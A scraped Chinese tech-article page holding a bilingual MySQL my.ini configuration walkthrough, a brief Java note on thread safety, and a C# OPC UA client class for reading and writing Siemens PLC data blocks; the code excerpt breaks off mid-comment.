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... Priv. 权限安全文件 secure-file-priv="C:/ProgramData/MySQL/MySQL Server 8.0/Uploads" The maximum amount of concurrent sessions the MySQL server will allow. One of these connections will be reserved for a user with SUPER privileges to allow the administrator to login even if the connection limit has been reached. MySQL服务器允许的最大并发会话量。这些连接中的一个将保留给具有超级特权的用户,以便允许管理员登录,即使已经达到连接限制。 max_connections=151 The number of open tables for all threads. Increasing this value increases the number of file descriptors that mysqld requires. Therefore you have to make sure to set the amount of open files allowed to at least 4096 in the variable "open-files-limit" in 为所有线程打开的表的数量。增加这个值会增加mysqld需要的文件描述符的数量。因此,您必须确保在[mysqld_safe]节中的变量“open-files-limit”中将允许打开的文件数量至少设置为4096 section [mysqld_safe] table_open_cache=2000 Maximum size for internal (in-memory) temporary tables. If a table grows larger than this value, it is automatically converted to disk based table This limitation is for a single table. There can be many of them. 内部(内存)临时表的最大大小。如果一个表比这个值大,那么它将自动转换为基于磁盘的表。可以有很多。 tmp_table_size=94M How many threads we should keep in a cache for reuse. When a client disconnects, the client's threads are put in the cache if there aren't more than thread_cache_size threads from before. This greatly reduces the amount of thread creations needed if you have a lot of new connections. (Normally this doesn't give a notable performance improvement if you have a good thread implementation.) 我们应该在缓存中保留多少线程以供重用。当客户机断开连接时,如果之前的线程数不超过thread_cache_size,则将客户机的线程放入缓存。如果您有很多新连接,这将大大减少所需的线程创建量(通常,如果您有一个良好的线程实现,这不会带来显著的性能改进)。 thread_cache_size=10 MyISAM Specific options The maximum size of the temporary file MySQL is allowed to use while recreating the index (during REPAIR, ALTER TABLE or LOAD DATA INFILE. If the file-size would be bigger than this, the index will be created through the key cache (which is slower). MySQL允许在重新创建索引时(在修复、修改表或加载数据时)使用临时文件的最大大小。如果文件大小大于这个值,那么索引将通过键缓存创建(这比较慢)。 myisam_max_sort_file_size=100G If the temporary file used for fast index creation would be bigger than using the key cache by the amount specified here, then prefer the key cache method. This is mainly used to force long character keys in large tables to use the slower key cache method to create the index. myisam_sort_buffer_size=179M Size of the Key Buffer, used to cache index blocks for MyISAM tables. Do not set it larger than 30% of your available memory, as some memory is also required by the OS to cache rows. Even if you're not using MyISAM tables, you should still set it to 8-64M as it will also be used for internal temporary disk tables. 如果用于快速创建索引的临时文件比这里指定的使用键缓存的文件大,则首选键缓存方法。这主要用于强制大型表中的长字符键使用较慢的键缓存方法来创建索引。 key_buffer_size=8M Size of the buffer used for doing full table scans of MyISAM tables. Allocated per thread, if a full scan is needed. 用于对MyISAM表执行全表扫描的缓冲区的大小。如果需要完整的扫描,则为每个线程分配。 read_buffer_size=256K read_rnd_buffer_size=512K INNODB Specific options INNODB特定选项 innodb_data_home_dir= Use this option if you have a MySQL server with InnoDB support enabled but you do not plan to use it. This will save memory and disk space and speed up some things. 如果您启用了一个支持InnoDB的MySQL服务器,但是您不打算使用它,那么可以使用这个选项。这将节省内存和磁盘空间,并加快一些事情。skip-innodb skip-innodb If set to 1, InnoDB will flush (fsync) the transaction logs to the disk at each commit, which offers full ACID behavior. If you are willing to compromise this safety, and you are running small transactions, you may set this to 0 or 2 to reduce disk I/O to the logs. Value 0 means that the log is only written to the log file and the log file flushed to disk approximately once per second. Value 2 means the log is written to the log file at each commit, but the log file is only flushed to disk approximately once per second. 如果设置为1,InnoDB将在每次提交时将事务日志刷新(fsync)到磁盘,这将提供完整的ACID行为。如果您愿意牺牲这种安全性,并且正在运行小型事务,您可以将其设置为0或2,以将磁盘I/O减少到日志。值0表示日志仅写入日志文件,日志文件大约每秒刷新一次磁盘。值2表示日志在每次提交时写入日志文件,但是日志文件大约每秒只刷新一次磁盘。 innodb_flush_log_at_trx_commit=1 The size of the buffer InnoDB uses for buffering log data. As soon as it is full, InnoDB will have to flush it to disk. As it is flushed once per second anyway, it does not make sense to have it very large (even with long transactions).InnoDB用于缓冲日志数据的缓冲区大小。一旦它满了,InnoDB就必须将它刷新到磁盘。由于它无论如何每秒刷新一次,所以将它设置为非常大的值是没有意义的(即使是长事务)。 innodb_log_buffer_size=5M InnoDB, unlike MyISAM, uses a buffer pool to cache both indexes and row data. The bigger you set this the less disk I/O is needed to access data in tables. On a dedicated database server you may set this parameter up to 80% of the machine physical memory size. Do not set it too large, though, because competition of the physical memory may cause paging in the operating system. Note that on 32bit systems you might be limited to 2-3.5G of user level memory per process, so do not set it too high. 与MyISAM不同,InnoDB使用缓冲池来缓存索引和行数据。设置的值越大,访问表中的数据所需的磁盘I/O就越少。在专用数据库服务器上,可以将该参数设置为机器物理内存大小的80%。但是,不要将它设置得太大,因为物理内存的竞争可能会导致操作系统中的分页。注意,在32位系统上,每个进程的用户级内存可能被限制在2-3.5G,所以不要设置得太高。 innodb_buffer_pool_size=20M Size of each log file in a log group. You should set the combined size of log files to about 25%-100% of your buffer pool size to avoid unneeded buffer pool flush activity on log file overwrite. However, note that a larger logfile size will increase the time needed for the recovery process. 日志组中每个日志文件的大小。您应该将日志文件的合并大小设置为缓冲池大小的25%-100%,以避免在覆盖日志文件时出现不必要的缓冲池刷新活动。但是,请注意,较大的日志文件大小将增加恢复过程所需的时间。 innodb_log_file_size=48M Number of threads allowed inside the InnoDB kernel. The optimal value depends highly on the application, hardware as well as the OS scheduler properties. A too high value may lead to thread thrashing. InnoDB内核中允许的线程数。最优值在很大程度上取决于应用程序、硬件以及OS调度程序属性。过高的值可能导致线程抖动。 innodb_thread_concurrency=9 The increment size (in MB) for extending the size of an auto-extend InnoDB system tablespace file when it becomes full. 增量大小(以MB为单位),用于在表空间满时扩展自动扩展的InnoDB系统表空间文件的大小。 innodb_autoextend_increment=128 The number of regions that the InnoDB buffer pool is divided into. For systems with buffer pools in the multi-gigabyte range, dividing the buffer pool into separate instances can improve concurrency, by reducing contention as different threads read and write to cached pages. InnoDB缓冲池划分的区域数。对于具有多gb缓冲池的系统,将缓冲池划分为单独的实例可以提高并发性,因为不同的线程对缓存页面的读写会减少争用。 innodb_buffer_pool_instances=8 Determines the number of threads that can enter InnoDB concurrently. 确定可以同时进入InnoDB的线程数 innodb_concurrency_tickets=5000 Specifies how long in milliseconds (ms) a block inserted into the old sublist must stay there after its first access before it can be moved to the new sublist. 指定插入到旧子列表中的块必须在第一次访问之后停留多长时间(毫秒),然后才能移动到新子列表。 innodb_old_blocks_time=1000 It specifies the maximum number of .ibd files that MySQL can keep open at one time. The minimum value is 10. 它指定MySQL一次可以打开的.ibd文件的最大数量。最小值是10。 innodb_open_files=300 When this variable is enabled, InnoDB updates statistics during metadata statements. 当启用此变量时,InnoDB会在元数据语句期间更新统计信息。 innodb_stats_on_metadata=0 When innodb_file_per_table is enabled (the default in 5.6.6 and higher), InnoDB stores the data and indexes for each newly created table in a separate .ibd file, rather than in the system tablespace. 当启用innodb_file_per_table(5.6.6或更高版本的默认值)时,InnoDB将每个新创建的表的数据和索引存储在单独的.ibd文件中,而不是系统表空间中。 innodb_file_per_table=1 Use the following list of values: 0 for crc32, 1 for strict_crc32, 2 for innodb, 3 for strict_innodb, 4 for none, 5 for strict_none. 使用以下值列表:0表示crc32, 1表示strict_crc32, 2表示innodb, 3表示strict_innodb, 4表示none, 5表示strict_none。 innodb_checksum_algorithm=0 The number of outstanding connection requests MySQL can have. This option is useful when the main MySQL thread gets many connection requests in a very short time. It then takes some time (although very little) for the main thread to check the connection and start a new thread. The back_log value indicates how many requests can be stacked during this short time before MySQL momentarily stops answering new requests. You need to increase this only if you expect a large number of connections in a short period of time. MySQL可以有多少未完成连接请求。当MySQL主线程在很短的时间内收到许多连接请求时,这个选项非常有用。然后,主线程需要一些时间(尽管很少)来检查连接并启动一个新线程。back_log值表示在MySQL暂时停止响应新请求之前的短时间内可以堆多少个请求。只有当您预期在短时间内会有大量连接时,才需要增加这个值。 back_log=80 If this is set to a nonzero value, all tables are closed every flush_time seconds to free up resources and synchronize unflushed data to disk. This option is best used only on systems with minimal resources. 如果将该值设置为非零值,则每隔flush_time秒关闭所有表,以释放资源并将未刷新的数据同步到磁盘。这个选项最好只在资源最少的系统上使用。 flush_time=0 The minimum size of the buffer that is used for plain index scans, range index scans, and joins that do not use 用于普通索引扫描、范围索引扫描和不使用索引执行全表扫描的连接的缓冲区的最小大小。 indexes and thus perform full table scans. join_buffer_size=200M The maximum size of one packet or any generated or intermediate string, or any parameter sent by the mysql_stmt_send_long_data() C API function. 由mysql_stmt_send_long_data() C API函数发送的一个包或任何生成的或中间字符串或任何参数的最大大小 max_allowed_packet=500M If more than this many successive connection requests from a host are interrupted without a successful connection, the server blocks that host from performing further connections. 如果在没有成功连接的情况下中断了来自主机的多个连续连接请求,则服务器将阻止主机执行进一步的连接。 max_connect_errors=100 Changes the number of file descriptors available to mysqld. You should try increasing the value of this option if mysqld gives you the error "Too many open files". 更改mysqld可用的文件描述符的数量。如果mysqld给您的错误是“打开的文件太多”,您应该尝试增加这个选项的值。 open_files_limit=4161 If you see many sort_merge_passes per second in SHOW GLOBAL STATUS output, you can consider increasing the sort_buffer_size value to speed up ORDER BY or GROUP BY operations that cannot be improved with query optimization or improved indexing. 如果在SHOW GLOBAL STATUS输出中每秒看到许多sort_merge_passes,可以考虑增加sort_buffer_size值,以加快ORDER BY或GROUP BY操作的速度,这些操作无法通过查询优化或改进索引来改进。 sort_buffer_size=1M The number of table definitions (from .frm files) that can be stored in the definition cache. If you use a large number of tables, you can create a large table definition cache to speed up opening of tables. The table definition cache takes less space and does not use file descriptors, unlike the normal table cache. The minimum and default values are both 400. 可以存储在定义缓存中的表定义的数量(来自.frm文件)。如果使用大量表,可以创建一个大型表定义缓存来加速表的打开。与普通的表缓存不同,表定义缓存占用更少的空间,并且不使用文件描述符。最小值和默认值都是400。 table_definition_cache=1400 Specify the maximum size of a row-based binary log event, in bytes. Rows are grouped into events smaller than this size if possible. The value should be a multiple of 256. 指定基于行的二进制日志事件的最大大小,单位为字节。如果可能,将行分组为小于此大小的事件。这个值应该是256的倍数。 binlog_row_event_max_size=8K If the value of this variable is greater than 0, a replication slave synchronizes its master.info file to disk. (using fdatasync()) after every sync_master_info events. 如果该变量的值大于0,则复制奴隶将其主.info文件同步到磁盘。(在每个sync_master_info事件之后使用fdatasync())。 sync_master_info=10000 If the value of this variable is greater than 0, the MySQL server synchronizes its relay log to disk. (using fdatasync()) after every sync_relay_log writes to the relay log. 如果这个变量的值大于0,MySQL服务器将其中继日志同步到磁盘。(在每个sync_relay_log写入到中继日志之后使用fdatasync())。 sync_relay_log=10000 If the value of this variable is greater than 0, a replication slave synchronizes its relay-log.info file to disk. (using fdatasync()) after every sync_relay_log_info transactions. 如果该变量的值大于0,则复制奴隶将其中继日志.info文件同步到磁盘。(在每个sync_relay_log_info事务之后使用fdatasync())。 sync_relay_log_info=10000 Load mysql plugins at start."plugin_x ; plugin_y". 开始时加载mysql插件。“plugin_x;plugin_y” plugin_load The TCP/IP Port the MySQL Server X Protocol will listen on. MySQL服务器X协议将监听TCP/IP端口。 loose_mysqlx_port=33060 本篇文章为转载内容。原文链接:https://blog.csdn.net/mywpython/article/details/89499852。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-10-08 09:56:02
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Java
...Race) , 在多线程编程环境下,当两个或多个线程同时访问并修改同一块数据,且没有采取任何同步措施来确保操作顺序时,就会出现数据竞争问题。这意味着最终结果取决于线程调度,可能导致程序出现不可预测的行为或错误的结果。例如,在Java中,前加加和后加加运算符并非线程安全,直接在多线程环境下使用可能会引发数据竞争。 线程安全性(Thread Safety) , 一个类、方法或者对象被称为线程安全,意味着在并发环境下,多个线程同时访问和操作其状态时,仍能保持正确性和一致性,不会因线程间的交互导致系统状态异常或不一致。为了实现前加加和后加加在多线程环境下的线程安全性,Java提供了synchronized关键字以及Atomic类等工具来确保这些操作的原子性,从而避免数据竞争问题的发生。
2023-03-21 12:55:07
376
昨夜星辰昨夜风-t
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...,不需要进行DCOM安全设置; OPC UA定义了统一数据和服务模型,使数据组织更为灵活,可以实现报警与事件、数据存取、历史数据存取、控制命令、复杂数据的交互通信; OPC UA比OPC DA更安全。OPC UA传递的数据是可以加密的,并对通信连接和数据本身都可以实现安全控制。新的安全模型保证了数据从原始设备到MES,ERP系统,从本地到远程的各级自动化和信息化系统的可靠传递; OPC UA可以穿越防火墙,实现Internet 通讯。 依赖 我们通常不会从头写,可以基于OpcUa.core.dll库和OpcUa.Client.dll库,而且附上这2个库的源代码。 配置OpcUA Server 您可以安装任何一款支持OPCUA的服务端软件进行以下配置(此为示例配置,您可根据你的实际情况进行配置) 1、OpcUa Server Url:opc.tcp://192.168.100.1:4840。 2、OpcUa EndPoint:[UaServer@cMT-EAB9] [None] [None] [opc.tcp://192.168.100.1:4840/G01] 3、PLC Device Name:Siemens S7-1200/S7-1500 4、Account:user1 5、Password:自己设置 6、在PLC中开了2个数据块,分别为DB4长度110个字、DB5长度122个字。 7、对应第4块创建标签,第一个名称为DB4.0-99,地址为DB4DBW0.100,数据类型为Short,长度100,即定义长度最长为100的Short数组。第二个名称为DB4.100-109,地址为DB4DBW100.10,数据类型为Short,方便快速读取。 5、对应第5块创建3个标签,第一个名称为DB5.0-99,地址为DB5DBW0.100,数据类型为Short,第二个名称为DB5.100-121, 地址为DB5DBW100.22,数据类型为Short,即定义长度最长为100的Short数组。方便快速读取。第三个标签名称为DB5DBW64,地址为DB5DBW64,数据类型为Short。 具体如下图: 关键代码 using System;using System.Collections.Generic;using System.Linq;using Opc.Ua.Helper;using Mesnac.Equips;namespace Mesnac.Equip.OPC.OpcUa.OPCUA{public class Equip : BaseEquip{region 字段定义private bool _isOpen = false; //是否已打开设备private bool _isClosing = false; //是否正在关闭设备private OPCUAClass myOpcHelper; //OPCUA设备访问辅助对象private Dictionary<string, string> dicTags = null; //保存标签集合private Dictionary<string, object> readResult = null; //设备标签数据缓存private int stepLen = 250; //标签变量的步长设置private string groupNamePrefix = "DB"; //数据块号前缀private string childTagFlag = "~"; //子元素标签标志符private System.Threading.Thread innerReadThread = null; //内部读取线程对象private int innerReadRate = 1000; //内部读取频率endregionregion 属性定义/// <summary>/// OPCUA Server Url/// </summary>public string OpcUaServerUrl{get{//return (this.Main.ConnType as Mesnac.Equips.Connection.OPCUA.ConnType).OpcUaServerUrl;return "opc.tcp://192.168.1.102:4840";//return "opc.tcp://192.168.100.1:4840";//return "opc.tcp://192.168.100.2:4840";} }/// <summary>/// 要连接的OPCUA服务器上的服务名/// </summary>public string OpcUaServiceName{get{//return (this.Main.ConnType as Mesnac.Equips.Connection.OPCUA.ConnType).OpcUaServiceName;return "[UaServer@cMT-9F1F] [None] [None] [opc.tcp://192.168.1.102:4840/G01]";//return "[UaServer@cMT-EAB9] [None] [None] [opc.tcp://192.168.100.1:4840/G01]";//return "[UaServer@cMT-EA5B] [None] [None] [opc.tcp://192.168.100.2:4840/G02]";//return "[UaServer@cMT-EA5B] [None] [None] [opc.tcp://192.168.100.2:4840/G01]";} }/// <summary>/// 要连接的OPCUA服务器上指定服务名下的PLC的名称/// </summary>public string PLCName{get{//return (this.Main.ConnType as Mesnac.Equips.Connection.OPCUA.ConnType).PLCName;//return "Feeding";return "Siemens_192.168.2.1";//return "Rockwell_192.168.1.10";} }/// <summary>/// OPCUA服务器的访问账户/// </summary>public string Account{get{//return (this.Main.ConnType as Mesnac.Equips.Connection.OPCUA.ConnType).Account;return "user1";} }/// <summary>/// OPCUA服务器的访问密码/// </summary>public string Password{get{//return (this.Main.ConnType as Mesnac.Equips.Connection.OPCUA.ConnType).Password;return "1";} }endregionregion BaseEquip成员实现/// <summary>/// 打开连接设备/// </summary>/// <returns>成功返回true,失败返回false</returns>public override bool Open(){lock (this){this._isClosing = false;if (this._isOpen == true && this.myOpcHelper != null){return true;}this.State = false;this.myOpcHelper = new OPCUAClass();this.dicTags = this.myOpcHelper.ConnectOPCUA(this.OpcUaServerUrl, this.Account, this.Password, this.OpcUaServiceName, this.PLCName); //连接OPCServerif (this.dicTags == null || this.dicTags.Count == 0){this.myOpcHelper = null;Console.WriteLine("OPC连接失败!");this.State = false;return false;}else{this.State = true;this._isOpen = true;region 初始化读取结果this.readResult = new Dictionary<string, object>();foreach (Equips.BaseInfo.Group group in this.Group.Values){if (!group.IsAutoRead){continue;}int groupMinStart = group.Start;int groupMaxEnd = group.Start + group.Len;int groupMaxLen = group.Len;foreach (Equips.BaseInfo.Group g in this.Group.Values){if (!g.IsAutoRead){continue;}if (g.Block == group.Block){if (g.Start < group.Start){groupMinStart = g.Start;}if (g.Start + g.Len > groupMaxEnd){groupMaxEnd = g.Start + g.Len;} }}groupMaxLen = groupMaxEnd - groupMinStart;int tagCount = groupMaxLen % this.stepLen == 0 ? groupMaxLen / this.stepLen : groupMaxLen / this.stepLen + 1;int currLen = 0;for (int i = 0; i < tagCount; i++){string tagName = String.Empty;if (tagCount == 1){tagName = String.Format("{0}-{1}", groupMinStart, groupMinStart + groupMaxLen - 1);currLen = groupMaxLen;}else if (i == tagCount - 1){tagName = String.Format("{0}-{1}", groupMinStart + (i this.stepLen), groupMinStart + (i this.stepLen) + (groupMaxLen % this.stepLen == 0 ? this.stepLen : groupMaxLen % this.stepLen) - 1);currLen = groupMaxLen % this.stepLen;}else{tagName = String.Format("{0}-{1}", groupMinStart + (i this.stepLen), groupMinStart + (i this.stepLen) + this.stepLen - 1);currLen = this.stepLen;}string tagFullName = String.Format("{0}{1}.{2}", groupNamePrefix, group.Block, tagName);if (!this.readResult.ContainsKey(tagFullName)){bool exists = false;region 判断读取结果标签组的范围是否包括了此标签 比如tagFullName DB5.220-299,在readResult中存在 DB5.200-299,则认为已存在,不需要再添加string[] beginend = null;int begin = 0;int end = 0;string[] startstop = tagFullName.Replace(String.Format("{0}{1}.", groupNamePrefix, group.Block), String.Empty).Split(new char[] { '-' });int start = 0;int stop = 0;bool parseResult = false;if (startstop.Length == 2){parseResult = int.TryParse(startstop[0], out start);if (parseResult){parseResult = int.TryParse(startstop[1], out stop);} }if (parseResult){int existsMinBegin = 0; //已存在标签的最小开始索引int existsMaxEnd = 0; //已存在标签的最大结束索引bool isContinue = true; //标签值是否连续string[] existsTags = this.readResult.Keys.ToArray<string>();foreach (string tag in existsTags){if (tag.StartsWith(String.Format("{0}{1}.", groupNamePrefix, group.Block)) && tag.Contains(".") && tag.Contains("-")){string[] tagname = tag.Split(new char[] { '.' });if (tagname.Length == 2){beginend = tagname[1].Split(new char[] { '-' });if (beginend.Length == 2){parseResult = int.TryParse(beginend[0], out begin);if (parseResult){parseResult = int.TryParse(beginend[1], out end);}region 计算最小开始索引和最大结束索引if (begin < existsMinBegin){existsMinBegin = begin;region 判断标签值是否连续if (existsMaxEnd != 0 && begin != existsMaxEnd + 1){isContinue = false;}endregion}if (end > existsMaxEnd){existsMaxEnd = end;}endregion} }if (parseResult){if (start >= begin && stop <= end){exists = true;break;}if (isContinue){if (start >= existsMinBegin && stop <= existsMaxEnd){exists = true;break;} }} }} }endregionif (!exists){ushort[] groupData = new ushort[currLen];this.readResult[tagFullName] = groupData;Console.WriteLine(tagFullName);} }}//int tagCount = group.Len % this.stepLen == 0 ? group.Len / this.stepLen : group.Len / this.stepLen + 1;//int currLen = 0;//for (int i = 0; i < tagCount; i++)//{// string tagName = String.Empty;// if (tagCount == 1)// {// tagName = String.Format("{0}-{1}", group.Start, group.Start + group.Len - 1);// currLen = group.Len;// }// else if (i == tagCount - 1)// {// tagName = String.Format("{0}-{1}", group.Start + (i this.stepLen), group.Start + (i this.stepLen) + (group.Len % this.stepLen == 0 ? this.stepLen : group.Len % this.stepLen) - 1);// currLen = group.Len % this.stepLen;// }// else// {// tagName = String.Format("{0}-{1}", group.Start + (i this.stepLen), group.Start + (i this.stepLen) + this.stepLen - 1);// currLen = this.stepLen;// }// string tagFullName = String.Format("{0}{1}.{2}", groupNamePrefix, group.Block, tagName);// if (!this.readResult.ContainsKey(tagFullName))// {// short[] groupData = new short[currLen];// this.readResult[tagFullName] = groupData;// }//} }endregionregion 开启内部定时读取if (this.innerReadThread == null){this.innerReadRate = this.Main.ReadHz / 2;this.innerReadThread = new System.Threading.Thread(this.InnerAutoRead);this.innerReadThread.Start();}endregion}return this.State;} }/// <summary>/// 从设备读取数据/// </summary>/// <param name="block">要读取的块号</param>/// <param name="start">要读取的起始字</param>/// <param name="len">要读取的长度</param>/// <param name="buff">读取成功后的输出数据</param>/// <returns>成功返回true,失败返回false</returns>public override bool Read(string block, int start, int len, out object[] buff){lock (this){buff = null;if (this._isClosing){return false;}string readstrflag = String.Format("{0}{1}.{2}-{3}", this.groupNamePrefix, block, start, start + len - 1);System.Text.StringBuilder sbtaglength = new System.Text.StringBuilder();string startTag = String.Empty;string groupName = String.Format("{0}{1}", this.groupNamePrefix, block); //要读取的OPCServer块List<ushort> groupData = new List<ushort>();List<string> groupTagNames = new List<string>();int startIndex = 0;try{if (!Open()){return false;}//return true;string[] keys = this.readResult.Keys.ToArray<string>();foreach (string key in keys){if (key.StartsWith(groupName) && key.Replace(String.Format("{0}.", groupName), String.Empty).Contains("-")){groupTagNames.Add(key);} }groupTagNames.Sort(); //对块标签进行排序foreach (string key in groupTagNames){if (String.IsNullOrEmpty(startTag)){startTag = key.Replace(String.Format("{0}.", groupName), String.Empty);}ushort[] values;if (this.readResult[key] is ushort[]){values = this.readResult[key] as ushort[];}else{values = new ushort[] { (ushort)this.readResult[key] };}sbtaglength.Append(String.Format("tagName={0}, buff length = {1}", key, values.Length));groupData.AddRange(values);}buff = new object[len];if (!String.IsNullOrEmpty(startTag)){string strStartIndex = startTag.Substring(0, startTag.IndexOf("-"));int.TryParse(strStartIndex, out startIndex);startIndex = start - startIndex;Array.Copy(groupData.ToArray(), startIndex, buff, 0, buff.Length);}else{}return true;}catch (Exception ex){Console.WriteLine(String.Join(";", groupTagNames.ToArray<string>()));Console.WriteLine("data length = " + groupData.Count);Console.WriteLine(this.Name + "读取失败[" + readstrflag + "]:" + ex.Message);Console.WriteLine(sbtaglength.ToString());this.State = false;return false;} }}/// <summary>/// 写入数据到设备/// </summary>/// <param name="block">要写入的块号</param>/// <param name="start">要写入的起始字</param>/// <param name="buff">要写如的数据</param>/// <returns>成功返回true,失败返回false</returns>public override bool Write(int block, int start, object[] buff){bool result = true;lock (this){try{if (this._isClosing){return false;}if (!Open()){return false;}bool isWrite = false;region 按标签变量写入string itemId = "";foreach (Equips.BaseInfo.Group group in this.Group.Values){if (group.Block == block.ToString()){foreach (Equips.BaseInfo.Data data in group.Data.Values){if (group.Start + data.Start == start && data.Len == buff.Length){if (this.dicTags.ContainsKey(data.Name)){itemId = this.dicTags[data.Name];}break;} }} }if (!String.IsNullOrEmpty(itemId)){UInt16[] intBuff = new UInt16[buff.Length];for (int i = 0; i < intBuff.Length; i++){intBuff[i] = 0;if (!UInt16.TryParse(buff[i].ToString(), out intBuff[i])){Console.WriteLine("在写入OPCUA标签时把buff中的元素转为UInt16类型失败!");} }result = this.myOpcHelper.WriteUInt16(itemId, intBuff);if (!result){Console.WriteLine(String.Format("标签变量[{0}]写入失败!", itemId));return false;}else{Console.WriteLine("按标签变量写入..." + itemId);isWrite = true;} }if (isWrite){return true;}endregionregion 按块写入region 先读取相应标签数数据string startTag = String.Empty;string groupName = String.Format("{0}{1}", this.groupNamePrefix, block); //要读取的OPCServer块List<ushort> groupData = new List<ushort>();string[] keys = readResult.Keys.Where(o => o.StartsWith(groupName) && o.Contains("-")).OrderBy(c => c).ToArray<string>();foreach (string key in keys){if (String.IsNullOrEmpty(startTag)){startTag = key.Replace(String.Format("{0}.", groupName), String.Empty);}string[] beginEnd = key.Replace(String.Format("{0}.", groupName), String.Empty).Split(new char[] { '-' });if (beginEnd.Length != 2){Console.WriteLine(String.Format("标签变量[{0}]未按约定方式命名,请按[DB块号].[起始字-结束字]方式标签变量进行命名!", String.Format("{0}.{1}", key)));return false;}int begin = 0;int end = 0;int.TryParse(beginEnd[0], out begin);int.TryParse(beginEnd[1], out end);region 写入之前,先读取一下PLC的值if ((start >= begin && start <= end) || ((start + buff.Length - 1) >= begin && (start + buff.Length - 1) <= end) || (start < begin && (start + buff.Length - 1) > end)){this.ReadTag(key);if (this.readResult.ContainsKey(key) && this.readResult[key] is Array){Console.WriteLine("read = " + key);groupData.AddRange(this.readResult[key] as ushort[]);}else{Console.WriteLine(String.Format("读取结果中不包含标签变量[{0}]的值!", String.Format("{0}", key)));} }else{if (this.readResult.ContainsKey(key) && this.readResult[key] is Array){Console.WriteLine("no read = " + key);groupData.AddRange(this.readResult[key] as ushort[]);} }endregion}endregionif (String.IsNullOrEmpty(startTag)){Console.WriteLine("写入失败,未在OPCUAserver中找到对应的标签,block = {0}, start = {1}, len = {2}", block, start, buff.Length);return false;}region 更新标签中对应的数据后,再写回OPCServerint startIndex = 0;string strStartIndex = startTag.Substring(0, startTag.IndexOf("-"));int.TryParse(strStartIndex, out startIndex);startIndex = start - startIndex;ushort[] newDataBuffer = groupData.ToArray();for (int i = 0; i < buff.Length; i++){ushort svalue = 0;ushort.TryParse(buff[i].ToString(), out svalue);newDataBuffer[startIndex + i] = svalue;}int index = 0;string[] keys2 = readResult.Keys.Where(o => o.StartsWith(groupName) && o.Contains("-")).OrderBy(c => c).ToArray<string>();foreach (string key2 in keys2){string[] beginEnd = key2.Replace(String.Format("{0}.", groupName), String.Empty).Split(new char[] { '-' });if (beginEnd.Length != 2){Console.WriteLine(String.Format("标签变量[{0}]未按约定方式命名,请按[DB块号].[起始字-结束字]方式标签变量进行命名!", String.Format("{0}", key2)));return false;}int begin = 0;int end = 0;int.TryParse(beginEnd[0], out begin);int.TryParse(beginEnd[1], out end);if ((start >= begin && start <= end) || ((start + buff.Length - 1) >= begin && (start + buff.Length - 1) <= end) || (start < begin && (start + buff.Length - 1) > end)){//Console.WriteLine("---------------------------------------------------------");//Console.WriteLine("start = " + start);//Console.WriteLine("start + buff.Length - 1 = " + (start + buff.Length -1));//Console.WriteLine("begin = " + begin);//Console.WriteLine("end = " + end);//Console.WriteLine("---------------------------------------------------------");if (!this.dicTags.ContainsKey(key2)){Console.WriteLine(String.Format("写入失败:标签变量[{0}]在OpcUA Server中未定义!", String.Format("{0}", key2)));return false;}int len = (this.readResult[key2] as ushort[]).Length;ushort[] tagDataBuff = new ushort[len];//Console.WriteLine("newDataBuff");//Console.WriteLine(String.Join(",", newDataBuffer));//Console.WriteLine("index = " + index);//Console.WriteLine("tagDataBuff.Length = " + tagDataBuff.Length);//Array.Copy(newDataBuffer, begin, tagDataBuff, 0, tagDataBuff.Length);int existsMinBegin = this.GetExistsMinBeginByBlock(block.ToString());Array.Copy(newDataBuffer, begin - existsMinBegin, tagDataBuff, 0, tagDataBuff.Length);index += tagDataBuff.Length;//Console.WriteLine("Write " + key2);//Console.WriteLine(String.Join(",", tagDataBuff));//Console.WriteLine("写入标签:" + this.dicTags[key2]);result = this.myOpcHelper.WriteUInt16(this.dicTags[key2], tagDataBuff);if (!result){Console.WriteLine(String.Format("向标签变量[{0}]中写入值失败!", String.Format("{0}", key2)));return false;}else{this.ReadTag(key2);Console.WriteLine("写入...");}//Console.WriteLine("---------------------------------------------------------");} }endregionendregionreturn result;}catch (Exception ex){Console.WriteLine(this.Name + "写入失败:" + ex.Message);return false;} }}/// <summary>/// 关闭方法,断开与设备的连接释放资源/// </summary>public override void Close(){try{this._isClosing = true;System.Threading.Thread.Sleep(this.Main.ReadHz);if (this.innerReadThread != null){this.innerReadThread.Abort();this.innerReadThread = null;} }catch (Exception ex){Console.WriteLine("关闭内部读取OPCUA线程异常:" + ex.Message);}try{if (this.myOpcHelper != null){this.myOpcHelper.Close();this.myOpcHelper = null;this.State = false;this._isOpen = false;} }catch (Exception ex){Console.WriteLine("关于与OPCUA服务连接异常:" + ex.Message);} }endregionregion 辅助方法/// <summary>/// 获取某个数据块标签的最小开始索引/// </summary>/// <param name="block">块号</param>/// <returns>返回数据块标签的最小开始索引</returns>private int GetExistsMinBeginByBlock(string block){int existsMinBegin = 99999; //已存在标签的最小开始索引int existsMaxEnd = 0; //已存在标签的最大结束索引bool isContinue = true; //标签值是否连续string[] existsTags = this.readResult.Keys.ToArray<string>();string[] beginend = null;bool parseResult = false;int begin = 0;int end = 0;foreach (string tag in existsTags){if (tag.StartsWith(String.Format("{0}{1}.", groupNamePrefix, block)) && tag.Contains(".") && tag.Contains("-")){string[] tagname = tag.Split(new char[] { '.' });if (tagname.Length == 2){beginend = tagname[1].Split(new char[] { '-' });if (beginend.Length == 2){parseResult = int.TryParse(beginend[0], out begin);if (parseResult){parseResult = int.TryParse(beginend[1], out end);}region 计算最小开始索引和最大结束索引if (begin < existsMinBegin){existsMinBegin = begin;region 判断标签值是否连续if (existsMaxEnd != 0 && begin != existsMaxEnd + 1){isContinue = false;}endregion}if (end > existsMaxEnd){existsMaxEnd = end;}endregion} }if (parseResult){//} }}return existsMinBegin;}/// <summary>/// 读取标签/// </summary>/// <param name="tagName"></param>private void ReadTag(string tagName){UInt16[] buff = null;if (this.dicTags.ContainsKey(tagName)){if (this.myOpcHelper.ReadUInt16(this.dicTags[tagName], out buff)){//Console.WriteLine("tagName={0}, buff length = {1}", tagName, buff.Length);if (this.readResult.ContainsKey(tagName)){this.readResult[tagName] = buff;}else{this.readResult.Add(tagName, buff);} }else{Console.WriteLine("Mesnac.Equip.OPC.OpcUa.OPCUA.Equip.ReadTag Exception 读取标签:[{0}]失败!", tagName);} }else{Console.WriteLine("Mesnac.Equip.OPC.OpcUa.OPCUA.Equip.ReadTag Exception OPCUA Server中未定义此标签:[{0}]!", tagName);} }/// <summary>/// 内部自动读取方法/// 